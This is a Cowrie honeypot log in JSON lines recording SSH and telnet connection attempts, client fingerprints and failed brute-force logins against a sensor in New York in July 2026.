{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:55.228950Z","src_ip":"159.65.58.200","session":"14a98ebe521b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:55.596087Z","src_ip":"147.45.199.80","session":"7d28fc93831e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":45946,"dst_ip":"159.203.135.109","dst_port":22,"session":"591183b4c3ce","protocol":"ssh","message":"New connection: 182.93.7.194:45946 (159.203.135.109:22) [session: 591183b4c3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:58.277806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:58.281018Z","src_ip":"182.93.7.194","session":"591183b4c3ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:58.501280Z","src_ip":"182.93.7.194","session":"591183b4c3ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fca","password":"123456","message":"login attempt [fca/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:59.416253Z","src_ip":"182.93.7.194","session":"591183b4c3ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:00.641081Z","src_ip":"182.93.7.194","session":"591183b4c3ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.123.134.194","src_port":51130,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dbe9f7113fb","protocol":"ssh","message":"New connection: 34.123.134.194:51130 (159.203.135.109:22) [session: 9dbe9f7113fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:01.339972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:01.371779Z","src_ip":"34.123.134.194","session":"9dbe9f7113fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:01.408077Z","src_ip":"34.123.134.194","session":"9dbe9f7113fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tennis","password":"tennis","message":"login attempt [tennis/tennis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:01.704315Z","src_ip":"34.123.134.194","session":"9dbe9f7113fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:02.846543Z","src_ip":"34.123.134.194","session":"9dbe9f7113fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37948,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0293f52d27b","protocol":"telnet","message":"New connection: 170.64.224.25:37948 (159.203.135.109:23) [session: c0293f52d27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:08.887996Z"}
{"eventid":"cowrie.session.connect","src_ip":"96.8.116.34","src_port":54240,"dst_ip":"10.17.0.5","dst_port":22,"session":"97a98f0097cf","protocol":"ssh","message":"New connection: 96.8.116.34:54240 (10.17.0.5:22) [session: 97a98f0097cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:11.793878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:11.798264Z","src_ip":"96.8.116.34","session":"97a98f0097cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:11.842099Z","src_ip":"96.8.116.34","session":"97a98f0097cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:4d:1c:a6:7b:44:88:50:7a:4a:d0:73:24:3d:5c:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3IWy9fDLZcmseuuDrItzbS5FKLpdxAKMW9GuR/RPknMsyNMSncVz8oG7okzuLQ9b2I05WQO2hJrokkP1Ap0pYEC7sWFtEFbiGLc90lWF85l2x7wv3t0YiWp8BhDXSsEI6V+vYpxYqkK90n+KBlnove5Q2EMSql1xlCd+35DoDguB5hnMub6pCia9QttwsJgyKR7DhT7wkGCAvcxoTFk0yPGA8g08+YnjUSqDRA7SSwD0bLLzyRw9BiU1XPR6f4aU0NnBhKt8l7as8E+WSaaNZoSV8nNAq7/LEPrkaavZY51S0042jpPRfPSITKs4OXA/m5ASRPZtEJkJatWPdiSLmw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:4d:1c:a6:7b:44:88:50:7a:4a:d0:73:24:3d:5c:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:12.048818Z","src_ip":"96.8.116.34","session":"97a98f0097cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:4d:1c:a6:7b:44:88:50:7a:4a:d0:73:24:3d:5c:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3IWy9fDLZcmseuuDrItzbS5FKLpdxAKMW9GuR/RPknMsyNMSncVz8oG7okzuLQ9b2I05WQO2hJrokkP1Ap0pYEC7sWFtEFbiGLc90lWF85l2x7wv3t0YiWp8BhDXSsEI6V+vYpxYqkK90n+KBlnove5Q2EMSql1xlCd+35DoDguB5hnMub6pCia9QttwsJgyKR7DhT7wkGCAvcxoTFk0yPGA8g08+YnjUSqDRA7SSwD0bLLzyRw9BiU1XPR6f4aU0NnBhKt8l7as8E+WSaaNZoSV8nNAq7/LEPrkaavZY51S0042jpPRfPSITKs4OXA/m5ASRPZtEJkJatWPdiSLmw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:12.052005Z","src_ip":"96.8.116.34","session":"97a98f0097cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:ec:2b:54:ac:73:fa:8f:3a:0b:16:59:2a:59:58:15","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANieQTKr6X11PkTjQpbzSQcu0BMbP3q2Iz6YDQTKRvEdmqA/icj1w6jnH1v0mAzZHmfU8BFdVs4d4JyUBSLmfErZ/VydPZx7X449M0smvxPdBnkTmu1ia5oicGQ9mayNTKHiFfP5KaSzPdWAbIIOhGrrzwLyBPjfb/fVAwb7WWsVAAAAFQD3cahEftM5pcAgTsKBvoEn6urX5wAAAIAHlydCVEfN9MyxN5p5yZr4dtFX2QhQkLEdMN42JB9uqOaVRKBMF4PwS8FW0zZYmHwiwV+hDwCpNPcCHWz87S5oYMWxHQ9Uhp0GOnajN1tQdhPrrwXgJ4sWeciZp9ERdiMP+9ffEkBfLCVNJumWbtBEZMa9X7hUmOdOTxmX9FtdsgAAAIEA0FMSFxNt69fmfd3AfpcoTiUN8amKMpUbN8Q/RP7T5x9zQZd91Hqh6JzkUcCIO3ynW0p6AfeHpjosuJsqJz6P3k+k9AwSzx4zYKuWPPAuBhgVbaf9FnwOR1OJmYICgyCgf5YeLrRQa/Qi8t8sl3Dr/IEICkt4ZR496w8yz00c7J8=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 37:ec:2b:54:ac:73:fa:8f:3a:0b:16:59:2a:59:58:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:12.096220Z","src_ip":"96.8.116.34","session":"97a98f0097cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:ec:2b:54:ac:73:fa:8f:3a:0b:16:59:2a:59:58:15","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANieQTKr6X11PkTjQpbzSQcu0BMbP3q2Iz6YDQTKRvEdmqA/icj1w6jnH1v0mAzZHmfU8BFdVs4d4JyUBSLmfErZ/VydPZx7X449M0smvxPdBnkTmu1ia5oicGQ9mayNTKHiFfP5KaSzPdWAbIIOhGrrzwLyBPjfb/fVAwb7WWsVAAAAFQD3cahEftM5pcAgTsKBvoEn6urX5wAAAIAHlydCVEfN9MyxN5p5yZr4dtFX2QhQkLEdMN42JB9uqOaVRKBMF4PwS8FW0zZYmHwiwV+hDwCpNPcCHWz87S5oYMWxHQ9Uhp0GOnajN1tQdhPrrwXgJ4sWeciZp9ERdiMP+9ffEkBfLCVNJumWbtBEZMa9X7hUmOdOTxmX9FtdsgAAAIEA0FMSFxNt69fmfd3AfpcoTiUN8amKMpUbN8Q/RP7T5x9zQZd91Hqh6JzkUcCIO3ynW0p6AfeHpjosuJsqJz6P3k+k9AwSzx4zYKuWPPAuBhgVbaf9FnwOR1OJmYICgyCgf5YeLrRQa/Qi8t8sl3Dr/IEICkt4ZR496w8yz00c7J8=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:12.100352Z","src_ip":"96.8.116.34","session":"97a98f0097cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:cd:18:a1:97:d2:93:b3:f4:63:49:ca:b2:2c:73:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfqzm0mVN+WCMA/l7XqUmYNr9/Ri/fobp5mKBhLW6i6HDY/0MBhrz63AlvmAeqwjKAQCl0L2JUetjGHNwFNGexRti2SEubFS6GUGscahjvUgyMZPKhDHE2ksMaI2fnpwlx1pqX4PbcQI8NKAqMRaGtaDZJrVyjPifPAyv6sj6G6b29T4UZN3xFSpmeQPv3KkePsO63rxS3TvTg9MLvhw3v5H0+c9ICASrUUbEfgohjfE5Q4LicagXZOkTwnmFV1gC3zq77YbTI38wgiQ+T9+IGk1v/67YpiB0hOC+8JA4p5Nm/UUNChMaDKLBJxrQq8a88x5Iqt/jT7d57I87Reecroxd3e0602UJpGCTDzuTgYcYayJqLT/8rPq99uvc9peTIEUQAjpSlmzPTL5ymzTT2t72O/srZCXGjZvoKt/KuMYLQc6fmuuAPD7fD3m0prKKsaMPisoHnhFxF73qsIlJNMNfXYPxnPh3xF5uBkbJCljp+XPcohXG8YJhKMP0PpwHIDwcJ/cIOQa4Ei6FVkf/0N487V6zC5Sn+O0h66XUiboBySx5/hGhz7LMgnUGMg0u5gJj2PT5bgYK6V5AUANIAR9D51afHGtLmsSF9BsAL/CTuG1iwS+JgMqH1bD1ahunKCRfP5bmMYjIGwjYexaGVI0cCLxZQY7HC4OLT3EN0uQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:cd:18:a1:97:d2:93:b3:f4:63:49:ca:b2:2c:73:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:12.145838Z","src_ip":"96.8.116.34","session":"97a98f0097cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:cd:18:a1:97:d2:93:b3:f4:63:49:ca:b2:2c:73:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfqzm0mVN+WCMA/l7XqUmYNr9/Ri/fobp5mKBhLW6i6HDY/0MBhrz63AlvmAeqwjKAQCl0L2JUetjGHNwFNGexRti2SEubFS6GUGscahjvUgyMZPKhDHE2ksMaI2fnpwlx1pqX4PbcQI8NKAqMRaGtaDZJrVyjPifPAyv6sj6G6b29T4UZN3xFSpmeQPv3KkePsO63rxS3TvTg9MLvhw3v5H0+c9ICASrUUbEfgohjfE5Q4LicagXZOkTwnmFV1gC3zq77YbTI38wgiQ+T9+IGk1v/67YpiB0hOC+8JA4p5Nm/UUNChMaDKLBJxrQq8a88x5Iqt/jT7d57I87Reecroxd3e0602UJpGCTDzuTgYcYayJqLT/8rPq99uvc9peTIEUQAjpSlmzPTL5ymzTT2t72O/srZCXGjZvoKt/KuMYLQc6fmuuAPD7fD3m0prKKsaMPisoHnhFxF73qsIlJNMNfXYPxnPh3xF5uBkbJCljp+XPcohXG8YJhKMP0PpwHIDwcJ/cIOQa4Ei6FVkf/0N487V6zC5Sn+O0h66XUiboBySx5/hGhz7LMgnUGMg0u5gJj2PT5bgYK6V5AUANIAR9D51afHGtLmsSF9BsAL/CTuG1iwS+JgMqH1bD1ahunKCRfP5bmMYjIGwjYexaGVI0cCLxZQY7HC4OLT3EN0uQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:12.148273Z","src_ip":"96.8.116.34","session":"97a98f0097cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:16:1d:43:fc:de:0c:79:c1:c1:d6:6a:a1:70:da:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2prxpdkkuq2I9sNXyExqOatcpyvwGhk2USbapdxci6BBJ+aD7oT4UkuBbSyuNOCvFKiK5Ey0Qwesw0OhuEdvSqDj3dgOx5ykkvPJY3jvS7jAvD7sav9ySRJR9gUTkb+z1fchkMCu+aYhwBhygU2NqGYCr4tbYw9Nuil7dIWUkQsUKFwULVUgGVx15IWWwSwff0SYwvO6Aozq5FxHtXGgwlgW//oJxTDTNhN6bepkrgoo4sOejXrIRmyIlsdn4O3/rF++VZWeV0iB0bejCpULD+WG5MrF+AwoLP3WwxpvHNdQspPFMpkAxtzzCWq+mgi8tMd4w+k+zUgQBa/kMJDXrFM1+95KTWB0hqo8Wri7dPAckFVfBRsV5ovxHl4dTCWJVeT6ckImzoNrhg9p5EB/jbXg3JjB27Og7uoxfHtpyJV3mZsH/xSoyWBrK2febO8YgjzsvoTtfqYvzJw1NXRRS0vBETfWIclEBqu8sbZUDRHHL6ME1g8gDLLBJWUUjXnqPiVJEM4fyASrMxCGYebIei6okurF7dRGkDqnE+PK5cX0b0PID4w7Cr3eBjM2fJaUClFL8kNGYxxj8NXiABtdBkQSNyIK3nRxw/G8ghoEaOymJQjnj0j49qr06Qy1eSZ9FGk8IkpbGZKsKTlWmmVQJcnWHa1stE6raStRUcHql/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:16:1d:43:fc:de:0c:79:c1:c1:d6:6a:a1:70:da:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:12.192719Z","src_ip":"96.8.116.34","session":"97a98f0097cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:16:1d:43:fc:de:0c:79:c1:c1:d6:6a:a1:70:da:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2prxpdkkuq2I9sNXyExqOatcpyvwGhk2USbapdxci6BBJ+aD7oT4UkuBbSyuNOCvFKiK5Ey0Qwesw0OhuEdvSqDj3dgOx5ykkvPJY3jvS7jAvD7sav9ySRJR9gUTkb+z1fchkMCu+aYhwBhygU2NqGYCr4tbYw9Nuil7dIWUkQsUKFwULVUgGVx15IWWwSwff0SYwvO6Aozq5FxHtXGgwlgW//oJxTDTNhN6bepkrgoo4sOejXrIRmyIlsdn4O3/rF++VZWeV0iB0bejCpULD+WG5MrF+AwoLP3WwxpvHNdQspPFMpkAxtzzCWq+mgi8tMd4w+k+zUgQBa/kMJDXrFM1+95KTWB0hqo8Wri7dPAckFVfBRsV5ovxHl4dTCWJVeT6ckImzoNrhg9p5EB/jbXg3JjB27Og7uoxfHtpyJV3mZsH/xSoyWBrK2febO8YgjzsvoTtfqYvzJw1NXRRS0vBETfWIclEBqu8sbZUDRHHL6ME1g8gDLLBJWUUjXnqPiVJEM4fyASrMxCGYebIei6okurF7dRGkDqnE+PK5cX0b0PID4w7Cr3eBjM2fJaUClFL8kNGYxxj8NXiABtdBkQSNyIK3nRxw/G8ghoEaOymJQjnj0j49qr06Qy1eSZ9FGk8IkpbGZKsKTlWmmVQJcnWHa1stE6raStRUcHql/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:12.195031Z","src_ip":"96.8.116.34","session":"97a98f0097cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:99:42:7a:5e:8a:7f:70:df:60:68:6f:65:c5:bf:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDi3WRMXAM9FY7l0aXM9/IFlB7xchhkebb9zoVoQtkjd3psPGhWcRmDG56eH0cj029WYh50rp+oyqBtSJZxPrhq+FHUYAwtmhNDe61v51AqwOMzfQhSQyASdlGu+uQskzJScVKk2qrfT75p5CKWKe3W+ABRZLG57I+GwIH97z78+7/j3paepGl5I2Mp+RY57ygKr/QOHwTAdlFRVsTUW0aWmQHokOfEQ5UQdzTAQnFyIUVlFzP4ePLOu4P2p06Xho71FFgqct7UUHQhTl0PO4Mt96nm5Kn7ewwjeC8/b+jTRZGRiqqOT1A2z4BUj88wC2pdCthD2N07iIgJ0hlS2q21","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:99:42:7a:5e:8a:7f:70:df:60:68:6f:65:c5:bf:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:12.240083Z","src_ip":"96.8.116.34","session":"97a98f0097cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:99:42:7a:5e:8a:7f:70:df:60:68:6f:65:c5:bf:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDi3WRMXAM9FY7l0aXM9/IFlB7xchhkebb9zoVoQtkjd3psPGhWcRmDG56eH0cj029WYh50rp+oyqBtSJZxPrhq+FHUYAwtmhNDe61v51AqwOMzfQhSQyASdlGu+uQskzJScVKk2qrfT75p5CKWKe3W+ABRZLG57I+GwIH97z78+7/j3paepGl5I2Mp+RY57ygKr/QOHwTAdlFRVsTUW0aWmQHokOfEQ5UQdzTAQnFyIUVlFzP4ePLOu4P2p06Xho71FFgqct7UUHQhTl0PO4Mt96nm5Kn7ewwjeC8/b+jTRZGRiqqOT1A2z4BUj88wC2pdCthD2N07iIgJ0hlS2q21","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:12.242789Z","src_ip":"96.8.116.34","session":"97a98f0097cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:12.287728Z","src_ip":"96.8.116.34","session":"97a98f0097cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":48948,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5466afe5cff","protocol":"ssh","message":"New connection: 91.92.40.4:48948 (10.17.0.5:22) [session: e5466afe5cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:21.284219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:21.289068Z","src_ip":"91.92.40.4","session":"e5466afe5cff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:21.369660Z","src_ip":"91.92.40.4","session":"e5466afe5cff","protocol":"ssh"}
